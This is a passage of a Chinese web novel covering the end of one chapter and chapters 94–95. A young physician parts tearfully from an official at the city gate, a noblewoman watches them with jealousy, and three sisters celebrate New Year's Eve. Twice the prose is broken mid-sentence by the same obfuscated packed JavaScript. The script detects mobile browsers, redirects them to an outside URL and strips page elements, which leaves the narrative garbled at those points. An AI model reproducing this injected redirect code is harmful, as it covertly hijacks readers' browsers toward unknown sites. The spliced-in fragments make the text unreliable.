她躺着没动，盯着头顶那根乌黑的房梁，昨夜里那些画面又浮上心头。他说“在”时的眼神，她握过那块玉佩时掌心温热的触感，还有马车里，她把玉贴上脸颊时那烫人的温度。 她翻了个身，把脸埋进枕头里。 静尘已经在院子里走动，脚步声轻轻的，偶尔传来几声低语，是和静心说话。厨房里有烟火气飘进来，是粥的香味。 许娇娇又躺了一会儿，才起身穿衣。 推开房门，冷气扑面而来，她打了个寒噤，拢紧衣襟。院里的石榴树叶子落尽了，光秃秃的枝桠上挂着几颗干瘪的果子，被风吹得轻轻摇晃。那株月季倒还精神，枝头竟又冒出几个花苞，裹着一层薄霜，颤巍巍的。 “娇杏醒了？”静尘从厨房探出头来，“粥好了，快来吃。” 静心蹲在院子里，正拿根树枝逗旺财。那狗被她逗得烦了，躲到墙角去，她又追过去，一人一狗绕着院子转圈。见许娇娇出来，静心抬起头，脸上笑出两个酒窝。 “娇杏，你昨晚睡得可好？我半夜醒了一回，听见你翻身来着。” 许娇娇脸上一热，假装没听见，低头进了厨房。 静尘把粥端到桌上，又端出一碟腌萝卜、一碟炒鸡蛋。许娇娇坐下，舀了一勺粥，低头慢慢地喝。 “昨晚回来那么晚，”静尘在她对面坐下，看着她，“裴安抚说什么了？” 许娇娇顿了顿，把嘴里的粥咽下去，才道：“他说那些信他会让人去查，若有消息就告诉我。还说……”她迟疑了一下，“崔琰的案子有结果了。皇上准了他的请罪折子，夺职削爵。没有治罪。” 静尘愣了一下，眉头慢慢皱起来：“就这样？” “就这样。”许娇娇低下头，继续喝粥。 静尘沉默了一会儿，轻叹一声：“那些枉死的人，就这样白死了？” 师姐竟和她一样问了同样的话。 许娇娇摇了摇头，没有说话。 从古至今，这样的事不在少数。可她始终相信，天网恢恢，疏而不漏。总有一天，做了亏心事的人会得到报应。 过了半晌，她才抬起头，看着静尘：“师姐，我不甘心。可他说，让我记着这个不甘心。往后做事，就多一分警醒。” 静尘听着，若有所思地点了点头。 静心从外头跑进来，手里攥着几朵月季花苞，脸冻得红红的，笑嘻嘻地往许娇娇面前一递。 “给你。我在枝上摘的，回头养在水里，过两天就开了。” 许娇娇接过那几朵花苞，看着静心逐渐长开的脸。那双小小的眼睛其实很传神，淡淡的弯眉下，一双眸子纯然清澈，养得白净细腻的脸上，此刻漾着天真的笑意。 “谢谢静心师姐。”许娇娇轻声向她道谢。 “哎呀，娇杏妹妹。”静心表情夸张地瞪大了眼睛，“你可很少叫我师姐！莫不是你想让我给你绣香囊送情郎，才肯叫我一声？” 她转向静尘，告状似的嚷起来：“师姐，你看看娇杏，一点都不害臊。” “我看你才不害臊，张口情郎闭口情郎的。”静尘嗔怪地点了点静心的额头，“回头我就找官媒给你寻摸一个婆家，看你还淘气不。” “师姐，我看对面甜水巷豆腐坊的顾三郎似乎对咱静心师姐有意，”许娇娇一脸笑意，拍手赞成，“回头你找人问问。” “师姐，娇杏，你们两个欺负我！”静心急了，上前揪着静尘的衣襟摇起来，“我可不喜欢顾三郎，他家兄弟那么多，闹哄哄的。再说了，顾家阿婆太厉害，我可吃不消。往后我才不要找婆家，我就跟着娇杏，她去哪里我就去哪里。我就给你们做饭吃。” “瞎说什么。”许娇娇拉着静心的手，让她坐在自己身边，“你消停会。” 她抬手摸了摸静心的头发，语气温柔下来：“静心，你比我大一岁，今年也十五了。这两年你的头发也长长了，再说你和师姐都还俗了，怎么能说不嫁人的话？往后我必定给你寻一个好的婆家，绝不让人欺负了你去。” “娇杏妹妹，你是不是不想要我了，想赶我走？”静心的脸色忽然变了，声音低沉下来，“从我跟着你和师姐起，我就没打算嫁人。” 她低下头，手指绞着衣角，声音越来越轻：“嫁人有什么好？遇到好的还好，若是遇到那不好的婆家，往后有的苦吃。我阿爹将我卖了，我阿娘一句话都不敢说。我阿爹不顺心，总是对我阿娘拳脚相向……那种日子，我一天也不想再过。” 她抬起头，眼眶有些红，却努力挤出笑来：“好娇杏，往后我就跟着你，给你做饭吃。你给我的菜谱，我基本上都学会了，你还说我做得十分地道呢！往后你要是嫁人了，我就给你做好吃的，绝不饿着你。” “傻静心。”许娇娇听得心里发酸，她没想到静心竟有这样的打算。 “伺候人有什么好？”她握住静心的手，认真地看着她，“你如今不是谁的丫鬟，也不是奴籍。你是良民，自己会做很多菜，往后自己开个小店，再招几个伙计帮着做事，多好。你非要上赶着给我做厨娘，你说你傻不傻？” “随她吧。”静尘在边上听着，心中也是暗暗伤怀。 静心从小在那样的环境中长大，养成了她胆小怕事的性子。其实跟着娇杏，比在外面自己开店要强上许多。最起码娇杏聪慧，能力强，医术也佳，能护着她们。她心中也是想跟着娇杏的，哪里也不去。往后就算娇杏嫁人生子，她也好帮着照应一二。 “再过两年，她或许会有不同的想法。如今她还未开窍。”静尘轻声说。 许娇娇叹了口气。 罢了，总归有自己照应着。往后她若是想开了，自己再给她寻摸。如今考虑这些，着实有些早了。 水仙姑的威胁已经解除，她和静尘的卖身契也在官府消了契，如今她们都是良民。静心的性格还带着几分孩子的天真，什么事也不管，只是喜欢琢磨吃食。前些日子她缠着许娇娇，让许娇娇教她上次请裴宴吃饭时做的那几道菜。许娇娇抽空给她写了个菜谱，让她自己去琢磨。 静心之前不识字，被静尘逼着学了一段，如今简单的字都认得。她说这就够了，她又不像娇杏，要去给人看诊治病，只管自己厨房那一亩三分地。如今她听到“看书”两个字就嚷着头疼，常惹得静尘和许娇娇哭笑不得。 许娇娇也就随她去。有些人并不适合读书，却自有她们的天赋。静心的点心，如今已经做得十分有样子了。 吃过早饭，许娇娇收拾停当，准备去张记坐诊。 静尘递过她的药箱，叮嘱道：“路上当心。今儿风大，别冻着。” 许娇娇点点头，接过药箱，又摸了摸怀里的玉佩，它还在，贴着心口的位置，带着她的体温。 她推开门，冷风扑面而来，巷子里静悄悄的。旺财跟到门口，摇了摇尾巴，又缩回窝里去了。 许娇娇拢紧披风，往巷口走去。 走到巷口时，她忽然停下脚步，回头看了一眼。 小院静静地立在那里，青瓦白墙，炊烟袅袅。静尘站在院门口，正目送着她。见她回头，静尘微微笑了笑，摆了摆手。 许娇娇也笑了，转过身，大步往前走去。 张记生药铺里已经忙开了。伙计们在柜台后头抓药、打包，进进出出地搬货。廖大夫坐在诊案后头，正给一个老妇人把脉，见她进来，点了点头。 “许娘子，你可算来了！昨儿个有好几个病人问起你，我说你回老家去了，他们还不信，说是不是出了什么事。” 许娇娇笑了笑，一边系围裙一边道：“没事，就是回了趟落溪村，看看长辈。今儿个病人多吗？” “多！”廖大夫道，“这不快过年了嘛，都想抓几副药备着，怕年节里铺子关门。还有几个老病号，说是等你回来复诊。” 许娇娇点点头，走到诊案后坐下。 一天下来，看了二十几个病人，忙得脚不沾地。可再忙，她心里也时不时想起昨夜的事。想起他说“在”时的眼神，想起那块温润的玉佩，想起他把令牌收回去时，掌心里握的那一瞬。 傍晚回到柳枝巷，静尘和静心已经把饭做好了。三个人围坐在桌前，边吃边说话。静心叽叽喳喳地说着今儿在巷子里看见的事，谁家吵架了，谁家来了亲戚，谁家的小狗又跑丢了。静尘偶尔应一两句，许娇娇只是听着，嘴角微微弯着。 吃过饭，许娇娇帮着收拾碗筷，静尘赶着她让她去忙自己的事，这里有她们俩人在就行。但她还是帮着将碗筷收进厨房，三人将厨房收拾利索，静心又去烧热水。说娇杏每天要洗漱，她提前备好热水。 外头传来敲门声。 静尘去开门，不多时，领着长风进来。 “许娘子，”长风站在厨房门口，脸上带着笑，“郎主让小的来给娘子送个信儿。” 许娇娇擦干手，迎出去。 长风从怀里取出一封信，双手递上。信封上没写字，封着口，薄薄的一封。 “这是郎主让小的转交娘子的。”长风道，“郎主还说，他明日便要启程回京复命，就不来向娘子辞行了。娘子若有事，可让人去京城镇国公府寻他。” 明日就走？ 许娇娇愣了一下，接过那封信，指尖微微有些发颤。 “这么急？”她问。 长风点点头：“皇命在身，耽搁不得。再说年关将近，郎主要回京复命。崔琰的案子虽判了，后续还有许多事要料理。郎主这几日忙的脚不沾地，就连尚书第，也只是打发小的们送了信去请辞。” 许娇娇听着，心里说不出是什么滋味。 她低头看着那封信，薄薄的一封，捏在手里却沉甸甸的。 “劳烦长风大哥转告裴安抚，”她抬起头，努力让自己的声音平稳些，“他的心意，民女收到了。愿他一路顺风，平安抵达京城。” 长风点点头，又看了她一眼，似乎想说什么，终究没说，拱了拱手，转身离去。 院门关上，脚步声渐渐远了。 许娇娇站在院子里，手里握着那封信，一动不动。 静尘走过来，轻轻拍了拍她的肩：“进屋看吧，外头冷。” 许娇娇回过神，点了点头，进了自己屋里。 她点起灯，坐在炕沿上，拆开信封。 信纸是上好的宣纸，折得整整齐齐。展开来，上面只有短短几行字，字迹挺拔如松，一如他本人。 “许娘子惠鉴： 昨夜一晤，甚慰。令尊之事，已遣人赴京查访。若有消息，当遣人告知。 珍重。 裴宴顿首 许娇娇捧着那封信，一字一字看了三遍。 信很短，没有一句多余的话。可她看着，眼眶却微微有些发热。 她把信贴在胸口，闭上眼，深深吸了一口气。 窗外，夜风吹过，传来树叶唰唰的声音，远处传来几声犬吠，还有更夫敲梆子的声音，一下，两下，三下。 亥时了。 她睁开眼，把信小心折好，和那块玉佩放在一起。又从枕下取出那本许大郎的医案，翻开，就着灯光，一页页看下去。 那些龙飞凤舞的字迹，那些力透纸背的批注，那些记录在案的一个个病患，仿佛透过泛黄的纸页，在她眼前活了起来。 阿爹是个好郎中。 她合上医案，抬起头，望着窗外的夜色。 京城。 那个她从没去过的地方，那个阿爹阿娘拼命逃离的地方，那个藏着无数秘密的地方。 终有一日，她会去的。 翌日，天还未亮，许娇娇起了个大早。 去了北城门口。 没想到城门已经开了。人来人往，挑担的、赶车的、牵驴的，熙熙攘攘涌进城来。她站在路边的茶摊旁，要了一碗茶，慢慢地喝。 等了约莫半个时辰，一队人马从城内驶来。 最前面是两排青衣劲装的侍卫，骑着高头大马，腰悬长刀，面容冷峻。中间是一辆青帷马车，车帘遮得严严实实。后面还跟着几辆装行李的骡车，以及几十个骑马随行的护卫。 许娇娇站在人群里，看着那队人马缓缓驶过。 马车经过她面前时，车帘忽然掀开了一角。 她看见了那张脸。 冷峻的眉眼，紧抿的唇角，那双深邃的眼睛正朝她望来。 四目相对，两人都是一怔，裴宴似乎是想说些什么，可马车却越过许娇娇“嘚嘚”地往前走去。许娇娇往前跟了几步，最终却又停下来。她不知道要说些什么，只是心里发紧，眼眶酸胀。 车帘在远处落下，马车继续往前行去。 许娇娇站在原地，看着那队人马越走越远，最后消失在官道尽头。 风卷起地上的落叶，打着旋儿从她身边掠过。她拢了拢披风，转身漫无目的往回走。 眼泪却不由自主的落了下来，她声音有些哽咽，却不知如何是好。 不应该的，为什么会这样？她茫然的想。 身后有蹄声阵阵，在她身边停下。 她一无所觉。只是停下脚步，从怀中取出那块如意纹的玉佩。 羊脂白玉，温润细腻，在冬日的阳光下泛着柔和的光。 她把玉佩紧紧握在手中，感受着它的暖意。 眼前忽然一黑，她不解地抬头，去赫然发现那个离去的人就站在她的面前，正垂着眼，目光紧紧锁在她脸上，“为何哭泣？”他问。 许娇娇忙伸手去拭脸颊，才发现自己泪流满面，她慌忙用手擦拭。 “谁哭了，我没哭。”她低下头，声音闷闷的。 “为何哭泣？”他似乎不耐烦，又问了一遍。 “没有为什么，想哭就哭。”许娇娇扭过身子，继续低头。 “嘴真硬。” 裴宴轻叹一声。抬手扳过她的身子，用指腹轻轻挑起她的下巴，仔细端详着她。 许娇娇用力想低头，不想让他看见自己狼狈的模样。 ”别动，” 他用拇指轻轻替她拭去腮边的泪痕。他的指腹微凉，动作却很轻，一下，又一下。 “别哭，” 他说。“声音低了下来。 然后，他将她轻轻拥进怀里。 许娇娇僵住了。他的衣袍上有清冷的松风气息，混着极淡的云头香。她的耳朵正贴在他心口的位置，那一声声沉稳有力的心跳，隔着衣料传来，一下，又一下，像是另一句未曾出口的话。 “我把玉佩给了你，”他的声音从头顶传来，带着胸腔微微的震动，“你竟还不明白么？” 许娇娇没有抬头，声音闷在他怀里：“你给我玉佩的时候，一句话也不曾说。我如何明白？” 裴宴沉默了一瞬。 片刻后，他低下头，下巴轻轻抵在她的发顶。 “傻丫头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410901|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他的声音很轻，像是叹息，又像是无奈。 “那是母亲留给我的东西，说要给将来……”他顿了顿，没有把话说完，只是将她往怀里收得更紧了些，“我把它给了你，便是把我的往后都给了你。这样，你可明白了？” 许娇娇没有说话，过了半晌，才在他怀里轻轻点了下头。眼泪却又涌了出来，阴湿了他的衣衫。 远处，队伍前头的侍卫似乎察觉到了什么，有人回头望了一眼。长风和明月远远看见这一幕，明月立刻挥手示意队伍放慢脚步，自己则勒马停在远处，他见长风频频往那边张望，一把抓过他，推着他背过身去。 “别看。” 自己则装作在看官道边的枯树。 长风轻笑了声，也和他一起看起了枯树。 远处，裴宴松开许娇娇些许，低头看她。 泪痕犹在，眼眶还红着，却咬唇忍着，倔强得很。 他忍不住伸手，用指腹轻轻蹭了蹭她的眼尾。 “我身负皇命，须得即刻启程。”他的声音低而沉，“但你今日能来送我，我很欢喜。你的心意，我已知晓。” 他看着她，目光又深又沉。 “你且安心，我必不负卿。” 许娇娇仰头看他，嘴唇动了动，像是想说什么，最终却只是点了点头。 裴宴望着她，忽然笑了一下。那笑意很淡，却让他一贯冷峻的眉眼柔和了许多。 “回去吧。”他说，“天冷。” 许娇娇点头，却没有动。 裴宴也没有动。 片刻后，他忽然又伸手，将她轻轻揽回怀中，贴在心口的位置。只一瞬，便松开了。 然后他转身上马，再也没有回头。 许娇娇站在原地，看着那队人马重新启程，越走越远，最后消失在官道尽头的冬日薄雾里。 风又吹起来了，卷起地上的落叶，从她脚边沙沙地掠过。 她低下头，摊开掌心。 那块羊脂玉佩静静地躺在那里，温润细腻，还带着余温。 不远处，也有一辆马车停着。车帘掀开一角，露出一张苍白的脸。 沈淑宁是偷偷来的。 她知道自己不该来。裴表哥回京，她一个未出阁的姑娘，没有理由来送行。可她忍不住。她想知道他走的时候是什么样子，想最后看他一眼，哪怕只是远远地看着。 天不亮她就起了，瞒着老夫人和李氏，只带着贴身丫鬟芙蕖，悄悄雇了马车等在城门口。 她以为会看见他策马而过的英姿，会看见他冷峻的侧脸，会看见他远去的背影。她只想看一眼，就一眼。 可她看见了什么？ 她看见他勒马停在路边。看见他走向那个女子。看见他把她拥进怀里。看见他把额头抵在她发顶，那么轻，那么珍重。 她听不见他们在说什么，可那动作，那姿态，那眼神...... 这是她做梦也想不到的一幕，她跌坐在车厢里，双手紧紧握着胸口的衣襟，指节泛白，脸色惨白如纸，” “娘子！娘子！”芙蕖吓得连忙扑过去，用手按着她的心口，声音发颤，“娘子你怎么了？你别吓芙蕖……” 沈淑宁没有回答。 她只是死死盯着车帘缝隙外的那一幕，盯着那两个人。看着他把那女子揽在怀里，看着他用指腹替她拭泪，看着他低头和她说话，那侧脸，是她从未见过的温柔。 她从未见过裴宴那样笑。 在她记忆里，裴宴表哥永远是疏淡的，有礼的，温和却隔着距离的。他看她的目光，和对别人没什么两样——客气，礼貌，却永远隔着一层。 她以为他就是那样的人。 可此刻，她看见了不一样的他。 那个他会笑，会温柔，会把一个人拥在怀里轻声细语说话...... 只是，那个人不是她。 “娘子……”芙蕖的声音带着哭腔，“咱们回去吧，回去好不好？” 沈淑宁没有动。 她只是看着，看着那两个人终于分开，看着裴宴翻身上马，看着那女子站在原地，望着他离去的方向，久久没有动。 她看见那女子低下头，摊开掌心，看着什么东西。隔得远，她看不清那是什么，可她猜得到，一定是裴宴表哥给她的。 沈淑宁的心像被人用手狠狠攥住，一下一下地疼。 她想起那年春日，她还小，一个人坐在廊下发呆。裴宴表哥走过来，陪她坐了一下午，还用帕子变出一只蝴蝶给她。她以为那是只给她的温柔，她珍藏了许多年。 原来，那不是只给她的。 他对谁都可以那样温柔。只是她傻，她以为自己是特别的。 “娘子，咱们走吧……”芙蕖已经哭了，使劲拉着她的袖子。 沈淑宁终于松开攥着衣襟的手，那双手抖得厉害。她张了张嘴，想说什么，却发现自己一个字都说不出来。 马车外，那队人马已经走远了。那女子也转身往回走，渐渐消失在晨雾里。 沈淑宁闭上眼，靠在车壁上。 心口疼得厉害，像是有什么东西碎了。 她一直以为自己有机会的。沈家和裴家是姻亲，她是沈家嫡女，她见过他，她喜欢他，她觉得……总有一天，他会看见她的。 可原来，他早就看见了别人。 那个别人，不是京城的贵女，不是世家的小姐，而是一个还俗的尼姑，一个乡野的女医。 她凭什么？ 沈淑宁猛地睁开眼。 那双眼睛里，有泪，有不甘，还有一丝连她自己都没察觉的暗色。 “芙蕖。”她的声音沙哑，像是从喉咙里挤出来的。 芙蕖吓得一抖：“娘、娘子……” “今日的事，”沈淑宁盯着她，一字一句道，“你若敢说出去半个字，我……” 她顿了顿，没有说下去。 可那眼神，已经足够让芙蕖心惊胆战。芙蕖拼命点头：“奴婢不说！奴婢什么都不说！” 沈淑宁又闭上眼，靠回车壁上。 马车缓缓驶动，往城内而去。 她掀开车帘一角，最后看了一眼城外。 官道尽头空荡荡的，什么也没有了。 她放下车帘，把脸埋进掌心。 眼泪无声地滑落。 许娇娇回到柳枝巷时，静尘和静心已经起来了。静尘在院子里晾衣裳，静心蹲门口的石阶上。看样子是在等她。 “娇杏回来了！”静心看到她笑了起来。 “你怎么坐在门口，不冷吗？”许娇娇顺手拉起静心。 “不冷，我在等你呢！”静心反手拉着她，“走，吃饭去，我给你做了你最爱吃的小笼包。” 静尘抬起头，“去哪儿了？一早就没见你。” 许娇娇笑了笑：“去城门口看了看。” 静尘看着她，发现她的眼睛有些红，便目光里带了些许担忧，却没有再问。 旺财听到动静跑过来围着她摇着尾巴转圈。那只从落溪村带回来的母鸡已经和旺财混熟了，大摇大摆地在院子里踱步，偶尔低头啄两口食。 “娇杏娇杏，咱们吃完早饭去逛街可好？快过年了，我想买新衣裳，还想买红纸写对联，还想买……” 许娇娇被她逗笑了，伸手点点她的额头：“急什么，还有小半个月呢。慢慢逛，慢慢买。” 静心嘻嘻笑着点头。 94. 第94章 除夕 裴宴走后，许娇娇的日子又恢复到原来的样子，偶尔也去一趟仁心堂，和赵药师聊聊药方的配伍，说说近来遇到的疑难病症。赵药师性子沉稳，医术精湛，总能给她一些独到的见解，有时也会提起归平县的旧事，言语间满是对水仙姑伏法、水月庵罪孽败露的唏嘘，却从不多问她的过往，只在她偶尔神色恍惚时，递上一杯热茶，轻声劝一句“凡事慢慢来，莫急”。许娇娇心里十分感激赵药师，他是个真正医药界端方正直的大医。 日子转眼就到了腊月二十九。 除夕。 这是一年中最热闹的日子，也是万家团圆的日子。菰城的街头早已被浓浓的年味包裹，家家户户都在忙着扫尘、贴春联、备年货，街头巷尾摆满了卖春联、福字、灯笼的小摊，吆喝声、讨价还价声、孩童的嬉闹声交织在一起，暖意融融。 许娇娇从张记生药铺出来时，天已经擦黑了。今日是张记年前最后一日坐诊，张东家为人宽厚，不仅给几个坐堂大夫都包了厚厚的分红，给店里的伙计们也准备了红包，还特意给许娇娇多塞了一罐上好的龙井，笑着说：“许娘子这一年辛苦了，多亏了你，店里的生意比往年好了不少。这罐茶你拿回去，过年时泡着喝，也算沾沾喜气。”许娇娇再三推辞不过，只好收下，连连向张东家道谢。 晚风带着冬日的凉意，却吹不散空气中弥漫的饭菜香和年味。许娇娇拢了拢身上的披风，脚步轻快地往柳枝巷走去。远远地就看见巷口挂着两盏红灯笼，是刘寡妇挂的，说是添些年味。巷子里飘着各家各户的饭菜香，偶尔传来几声孩童的笑闹。 推开院门，一股暖意扑面而来。 院子里也挂了两盏小灯笼，是静心缠着静尘挂的。虽然小，却也红彤彤的，照得满院喜庆。厨房里飘出炖肉的香味，静心系着围裙在灶前忙活，静尘蹲在灶膛前添柴，两个人有说有笑。 “回来了？”静尘从厨房探出头来，“快去洗洗手，马上开饭。静心做了你最喜欢的红烧肉和猪肉白菜馅的饺子。” 静心也停下手中的活，转过身，脸上满是邀功的神情：“是啊娇杏，我今天特意跟着你之前写的菜谱做的红烧肉，还放了你说的冰糖和料酒，肯定好吃！还有饺子，我包了好多，里面还放了铜钱和糖块，谁吃到谁就有福气！”她说着，还拿起一个包好的饺子，得意地晃了晃，那饺子白白胖胖的，捏得不算精致，却透着一股可爱。 许娇娇应了一声，看着她们忙碌的身影，眼底涌起一阵热意。她忙低头进屋，换了身干净的素色衣裙，又洗了手脸，出来时，饭菜已经摆上了桌。一张小小的方桌，被擦得干干净净，上面摆满了菜肴：一锅热腾腾的羊肉汤，汤色奶白，香气扑鼻；一碟红烧肉，色泽红亮，肥而不腻；一碟清炒青菜，翠绿爽口；一碟酱肘子，软烂入味；还有一大盘白白胖胖的饺子，整齐地摆放在盘子里，冒着淡淡的热气。除此之外，静心还摆上了一小碟花生、一小碟瓜子，还有一瓶自己酿的桂花酒，虽然酒精度不高，却也透着淡淡的桂花香。 三个人围坐在一起，静心先给她盛了一碗羊肉汤，“娇杏，你先喝碗羊肉汤暖暖身子，今天风大，肯定冻着了。这羊肉汤我炖了一下午，放了生姜和萝卜，一点都不膻。” 说着又给静尘盛了一碗，“师姐，你也来一碗，今天你帮我烧火，当了一天烧火丫头辛苦了。”说着自己先笑了起来。 “你这丫头，胆子肥了，敢开师姐的玩笑。”许娇娇笑着点了点静心的脸颊。指尖触到那温热的肌肤，心里忽然软软的。 静心笑着由给她夹了一个饺子放在碗中，“娇杏你尝尝这个，慢慢吃，这个是我包的。” 许娇娇夹起饺子蘸了醋，慢慢咬了一口，馅果然是猪肉白菜的，还掺了些静心自己晒的干蘑菇，鲜美得很。“好吃。”许娇娇点头。 “再吃一口，再吃一口，”静心催她。 许娇娇又咬了一口，发现有些硌牙，她愣了一下，吐出来一看，掌心躺着一枚被汤汁浸得油亮的铜钱。 “吃到糖，日子甜；吃到签，中状元。若是吃到大角子，福运一年满又满！”静心看到娇杏吐出的铜钱，哈哈笑着拍手，嘴里唱起不知从哪里学来的祝福语，声音清脆，在冬日的黄昏里格外悦耳。 “静心非要往饺子里包这个，没有硌到吧！”静尘有些担心，又给她夹了两个饺子放进碗里。 “没有，怎么会硌到，我很小心的。”许娇娇笑着把那枚铜钱擦干净，收进袖中。给静心和静尘各夹了两个饺子。“谢谢师姐的祝福，一起吃，往后我们都会顺顺利利，平平安安的。” 三人喝着桂花酒，吃着热气腾腾的饭食，窗外暮色渐沉，屋里烛光摇曳，暖意融融。不知从谁家传来几声犬吠，远处偶尔响起零星的鞭炮声。快过年了，总有人家等不及，提前放几挂鞭炮热闹热闹。 不知不觉间，一瓶桂花酒见了底。 “这酒好喝。”许娇娇轻轻打了个酒嗝，平日里白皙细嫩的脸颊浮起一抹淡粉，衬得眉眼愈发温软，真真是人比花娇。 “是不是有些醉了？”静尘看着许娇娇懒洋洋靠在椅背上的模样，有些担忧。 “无妨。”许娇娇摆了摆手，声音也比平日软了几分。这点酒精度算什么，想当年她和朋友吃饭，一瓶茅台两人喝完，她还能扶着墙自己走回家。只是那时候的灯火比现在亮，那时候的笑声比现在吵，那时候坐在对面的人……她忽然想不起那些人的脸了。 许娇娇低头看着杯中残酒，烛光映在酒液里，晃出一片迷离的光晕。 她忽然有些恍惚。 这酒是静心酿的，用的是巷子口那棵桂花树的花，去年秋天她们一起摇下来的。那时她站在树下，静尘拿着竹竿轻轻敲打枝桠，静心撑开一块旧布接着，金黄的桂花簌簌落下，落了她满头满身，静心笑着说她变成了桂花仙子。 那是多久以前的事了？好像就在昨天，又好像已经过了很久很久。 她看着桌上那盏摇曳的烛火，看着静心脸上傻乎乎的笑，看着静尘温柔望着她们的眼神，看着那盘还冒着热气的饺子，看着窗外渐渐浓重的夜色—— 她是谁呢？ 她是许娇杏，落溪村许大郎和柳氏的女儿，逃出水月庵的小尼姑，张记生药铺坐诊的女医。她也是许娇娇，来自另一个时空的异乡人，喝过茅台吃过火锅，见过高楼大厦车水马龙。 可此刻，那些遥远的记忆忽然变得模糊起来，像隔着一层磨砂的玻璃，影影绰绰，看不真切。而眼前这一切，这间小小的屋子，这两个待她如亲人的女子，这满桌用心烹煮的饭菜，这带着桂花香气的酒。却清晰得让人心头发烫。 她是谁呢？ 她端起酒杯，又抿了一小口。酒液滑过喉咙，温热的，带着桂花的甜香。 “娇杏？”静尘的声音从耳边传来，轻轻的，带着担忧，“你哭了？” 许娇娇一愣，抬手摸了摸脸颊，果然一片潮湿。 她什么时候哭的？她自己都不知道。 “没事。”她弯起嘴角，任由眼泪滑进笑容里，“就是……太高兴了。” 静尘没有说话，只是伸出手，轻轻覆上她的手背。 静心也凑过来，把自己的手叠上去，三只手摞在一起，像小时候玩过的叠罗汉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413284|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“娇杏，”静心认真地看着她，眼睛亮晶晶的，“往后每年过年，我们都这样过。每年都包饺子，每年都放铜钱，每年都喝桂花酒。你要是嫁人了，我就去你家给你包饺子；你要是去京城了，我就跟着你去京城给你包饺子。反正我赖上你了，你别想甩掉我。” 许娇娇听着这话，眼泪流得更凶了，却笑得更灿烂了。 “好。”她说，声音有些哽咽，却一字一字清清楚楚，“往后每年都这样过。” 窗外，不知谁家又放了一挂鞭炮，噼里啪啦响了一阵，惊起几只归巢的鸟，扑棱棱飞过夜空。 屋里，三个人围坐在小桌前，手还摞在一起，谁也没有松开。 烛火跳动着，在她们脸上投下温暖的光。 这一刻，许娇娇忽然不再去想自己是谁。 她是许娇杏也好，是许娇娇也罢。她来自哪里，要去往何处，这些都不重要了。 酒意涌上来，她的眼皮有些沉，恍惚中她听见静尘问她，“过了年，你有什么打算？” 许娇娇微微一怔，抬起眼睑看向她。 静尘的目光沉静，像一潭深水：“那些信，那些事，你总要去查的。往后的事，你想好了吗？” 许娇娇沉默了一会儿，思绪却清晰了起来：“我想先把阿爹的医书整理出来。他的医案里，记着很多有用的东西。还有一些方子，我想试一试，看能不能做出些成药来。” 她伸手按了按额头，继续道：“至于那些往事……急不得。裴安抚说帮我查，总要等他的消息。若是有眉目，我就进京一趟。” 静尘点点头，没有说话。 许娇娇看着她，轻声道：“师姐，你们……” “我们当然跟你一起。”静尘打断她，声音很轻，却很坚定，“你去哪儿，我们就去哪儿。” 许娇娇用力点点头。 “师姐……谢谢你。” “说什么谢不谢的。”静尘拍拍她的手，“咱们是一家人。” 窗外，夜空中忽然绽开一朵烟花，紧接着又是一朵。红的、绿的、金的，在漆黑的夜幕上炸开，绚烂夺目。 静心跑出来，仰着头看，嘴里“哇、呀”地叫着。 许娇娇和静尘也走到院子里，并肩站着，看着那些烟花。 远处传来隐约的锣鼓声，不知是哪家在办社火。更近的地方，有孩童在巷子里追逐笑闹，喊着“过年了过年了”。 许娇娇仰头看着那些烟花，心里忽然涌起一股暖流。 她想起去年这时候，自己还蜷在张东家后院的柴房里，裹着薄被，听着外面的热闹，心里又冷又空。那时候她以为，这辈子就这样了。 可如今，她有师姐们陪着，有这个小院，有张记的活计，有阿爹留下的医书，还有那个人...... 她把手伸进怀里，摸了摸那块玉佩。玉佩温温的，贴着她的心口。 “娇杏，”静心跑过来，拉着她的手，“明儿一大早，我要穿那件新做的衣裙，我们都要穿新衣。” 许娇娇低头看着她，笑着点头。 “好。” 静心又跑去看烟花了，静尘进屋去收拾。许娇娇一个人在院子里站了一会儿，看着那些烟花明明灭灭，听着远处的锣鼓和近处的笑闹。 她忽然想起那首诗，阿娘写的那首诗： “妾家本住横塘路，门前流水桃花坞。十五嫁作良人妇，二十年来如一梦。梦中忽忆旧时妆，对镜簪花双鬓香。醒来不见画堂燕，唯有青山送夕阳。” 阿娘的那个梦，已经碎了。 可她的梦， 还在。 95. 第95章 破五 转眼已到正月初五。 这一日俗称“破五”，家家户户送穷土，迎财神，商铺开市，年味渐收。柳枝巷里一大早就热闹起来，隔壁刘寡妇家的小虎子在巷子里放鞭炮，噼里啪啦响了一阵，硝烟味儿飘得满巷都是。 许娇娇是被那鞭炮声吵醒的。 她躺在床上，听着外头的动静，却没有立刻起身。除夕那夜的酒意早就散了，可那种微醺时心里涌起的暖意，却一直留到现在。她侧过身，透过窗纸看着外头透进来的光，嘴角不自觉弯了弯。 那日在城门口望着车队远去后，她已经好些日子没有这样弯起嘴角了。 “娇杏！”静心的声音从院子里传来，清脆得像只雀儿，“快起来！今儿开市，咱们去逛庙会！” 许娇娇笑着应了一声，起身穿衣。 